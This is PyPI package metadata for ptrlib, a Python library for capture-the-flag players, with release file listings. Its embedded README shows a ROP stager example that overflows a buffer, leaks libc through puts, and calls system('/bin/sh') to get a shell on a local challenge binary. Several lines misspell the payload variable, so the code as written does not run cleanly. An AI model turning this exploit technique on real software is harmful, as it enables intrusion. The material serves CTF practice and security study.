{ "info": { "author": "ptr-yudai", "author_email": "ptr.yudai@gmail.com", "bugtrack_url": null, "classifiers": [ "License :: OSI Approved :: MIT License", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7" ], "description": "ptrlib\n====\n\nPython library which bundles security-related utilities.\n\n## Description\nPtrlib is a Python library for CTF players.\nIt's designed to make it easy to write a complex program of cryptohraphy, networking, exploit and so on.\n\n## Requirement\nSupports: Python 3.7\n\n## Usage\nBasic examples are available at [/examples](https://bitbucket.org/ptr-yudai/ptrlib/src/master/examples/).\n\n## Quick Document\nThere are many functions in ptrlib but let's see how to use it for pwn.\nYou can run executable or create socket like this:\n```python\nsock = Process(\"./pwn01\")\nsock = Process([\"./pwn01\", \"--debug\"])\nsock = Socket(\"localhost\", 1234)\n```\nIf you have the target binary or libc, it's recommended to load the binary first.\n```python\nelf = ELF(\"./pwn01\")\nlibc = ELF(\"./libc.so.6\")\n```\nAnd you can use useful methods such as `got`, `plt`, `symbol`, `section` and so on.\nThe following is the pwn example of ROP stager.\n```python\ngot_puts = elf.got(\"puts\")\nplt_puts = elf.plt(\"puts\")\nplt_gets = elf.plt(\"gets\")\nstage2 = elf.section(\".bss\") + 0x400\n\npayload = b'A' * 0x108\npayload += p64(rop_pop_rdi)\npayload += p64(got_puts)\npayload += p64(plt_puts)\npayload += p64(rop_pop_rdi)\npayload += p64(stage2)\npayload += p64(plt_gets)\npaylaod += p64(rop_pop_rbp)\npaylaod += p64(stage2)\npayload += p64(rop_leave_ret)\nsock.sendlineafter(\"Data: \", payload)\n\nlibc_base = u64(sock.recvline()) - libc.symbol(\"puts\")\nlogger.info(\"libc base = \" + hex(libc_base))\npayload = b'A' * 8\npaylaod += p64(rop_pop_rdi)\npayload += p64(libc_base + next(libc.find(\"/bin/sh\")))\npayload += p64(libc_base + libc.symbol(\"system\"))\nsock.sendline(payload)\n\nsock.interactive()\n```\n\n## Install\nRun `pip install ptrlib` or `python setup.py install`.\n\n## Licence\n\n[MIT](https://github.com/tcnksm/tool/blob/master/LICENCE)\n\n## Author\n\n[ptr-yudai](https://github.com/ptr-yudai)\n\n", "description_content_type": "text/markdown", "docs_url": null, "download_url": "", "downloads": { "last_day": -1, "last_month": -1, "last_week": -1 }, "home_page": "https://bitbucket.org/ptr-yudai/ptrlib/", "keywords": "pwn crypto", "license": "", "maintainer": "", "maintainer_email": "", "name": "ptrlib", "package_url": "https://pypi.org/project/ptrlib/", "platform": "", "project_url": "https://pypi.org/project/ptrlib/", "project_urls": { "Homepage": "https://bitbucket.org/ptr-yudai/ptrlib/" }, "release_url": "https://pypi.org/project/ptrlib/1.1.3/", "requires_dist": [ "pycrypto", "capstone", "gmpy2" ], "requires_python": "!=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, <4", "summary": "CTF library", "version": "1.1.3" }, "last_serial": 5860453, "releases": { "1.0.0": [ { "comment_text": "", "digests": { "md5": "6b4075dfa098672ba0b72a064e115cac", "sha256": "71586abbd8c1c27cb8de0d64b7fae1abc8fb6101f9f8a5055f6837ea380af466" }, "downloads": -1, "filename": "ptrlib-1.0.0-py3.6.egg", "has_sig": false, "md5_digest": "6b4075dfa098672ba0b72a064e115cac", "packagetype": "bdist_egg", "python_version": "3.6", "requires_python": "!=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, <4", "size": 230864, "upload_time": "2019-07-18T13:36:58", "url": "https://files.pythonhosted.org/packages/37/21/564636545861326a5b8a098e8d29ce0b4dd70795f94be713ff3ebe880f6b/ptrlib-1.0.0-py3.6.egg" }, { "comment_text": "", "digests": { "md5": "77f5ed16c37d2d8bdd499ffacaf8f19c", "sha256": "c59609273eb3e1820fb0ad9da5aa31bb496291df29f52b588dac6e621e58fbda" }, "downloads": -1, "filename": "ptrlib-1.0.0-py3-none-any.whl", "has_sig": false, "md5_digest": "77f5ed16c37d2d8bdd499ffacaf8f19c", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": "!=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, <4", "size": 94710, "upload_time": "2019-07-18T13:36:55", "url": "https://files.pythonhosted.org/packages/9a/2b/c2124f6b5c4db21ae0213af328cfad5d0159b1b1d9ceb9749ffc24c305c9/ptrlib-1.0.0-py3-none-any.whl" } ], "1.1.0": [ { "comment_text": "", "digests": { "md5": "5b36c6344aaebe11fbe261d01d3929e3", "sha256": "b7432b9019c4353c716b69582fae6434cef5b0649bc16cba2a707abb5680232e" }, "downloads": -1, "filename": "ptrlib-1.1.0-py3-none-any.whl", "has_sig": false, "md5_digest": "5b36c6344aaebe11fbe261d01d3929e3", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": "!=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, <4", "size": 96599, "upload_time": "2019-08-20T13:05:34", "url": "https://files.pythonhosted.org/packages/85/20/200bf9cafa1b505db08083b259308eebfef9d1cfb927b2ce12d6d56d4f59/ptrlib-1.1.0-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "1e0fe8375157d493e9bc8b5dd606d911", "sha256": "75ac3308070e37c7fbf74e8866bd558ed8181620100d6c827cbf587b5672d207" }, "downloads": -1, "filename": "ptrlib-1.1.0.tar.gz", "has_sig": false, "md5_digest": "1e0fe8375157d493e9bc8b5dd606d911", "packagetype": "sdist", "python_version": "source", "requires_python": "!=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, <4", "size": 83933, "upload_time": "2019-08-20T13:05:39", "url": "https://files.pythonhosted.org/packages/b2/e7/61138851280fcd8b2c8c16da2985a1fbf682dd614c20a8468dfc2bc69a8f/ptrlib-1.1.0.tar.gz" } ], "1.1.1": [ { "comment_text": "", "digests": { "md5": "95970973065aacc843a39a92a39fb131", "sha256": "d62533557a53b3f8c6d24c4a54656e91ca9621f8d4d6a963cb22dbef5810cf7a" }, "downloads": -1, "filename": "ptrlib-1.1.1-py3-none-any.whl", "has_sig": false, "md5_digest": "95970973065aacc843a39a92a39fb131", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": "!=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, <4", "size": 96579, "upload_time": "2019-08-20T13:16:00", "url": "https://files.pythonhosted.org/packages/bf/6b/2fb9fe91d5e7e75930a8331daed5f571f2965a133948530893cd1ae6d297/ptrlib-1.1.1-py3-none-any.whl" } ], "1.1.2": [ { "comment_text": "", "digests": { "md5": "b33020d0330a5e35b9114255bad1e45e", "sha256": "dc0d66050be7a115d4c8f58a381ebd0ac427fd0ba7d880dcd3b0790067a9fa0c" }, "downloads": -1, "filename": "ptrlib-1.1.2-py3-none-any.whl", "has_sig": false, "md5_digest": "b33020d0330a5e35b9114255bad1e45e", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": "!=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, <4", "size": 96594, "upload_time": "2019-08-28T02:29:39", "url": "https://files.pythonhosted.org/packages/c2/61/e15ea6617aada26e921f85f6e440d3c0e9555864c3d0d7c89be4b004cf32/ptrlib-1.1.2-py3-none-any.whl" } ], "1.1.3": [ { "comment_text": "", "digests": { "md5": "a3b24ddaf09236475dcce15f459022ae", "sha256": "7acbafa50e1c977acfe4daab7bebe9b7894507390bcf2ecf2cd091509f99d5a1" }, "downloads": -1, "filename": "ptrlib-1.1.3-py3-none-any.whl", "has_sig": false, "md5_digest": "a3b24ddaf09236475dcce15f459022ae", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": "!=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, <4", "size": 99308, "upload_time": "2019-09-20T07:01:01", "url": "https://files.pythonhosted.org/packages/ef/23/0c3927d2f240b879cbec6f0693839b2251996e0789b704ff23bd02e96bdc/ptrlib-1.1.3-py3-none-any.whl" } ] }, "urls": [ { "comment_text": "", "digests": { "md5": "a3b24ddaf09236475dcce15f459022ae", "sha256": "7acbafa50e1c977acfe4daab7bebe9b7894507390bcf2ecf2cd091509f99d5a1" }, "downloads": -1, "filename": "ptrlib-1.1.3-py3-none-any.whl", "has_sig": false, "md5_digest": "a3b24ddaf09236475dcce15f459022ae", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": "!=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, <4", "size": 99308, "upload_time": "2019-09-20T07:01:01", "url": "https://files.pythonhosted.org/packages/ef/23/0c3927d2f240b879cbec6f0693839b2251996e0789b704ff23bd02e96bdc/ptrlib-1.1.3-py3-none-any.whl" } ] }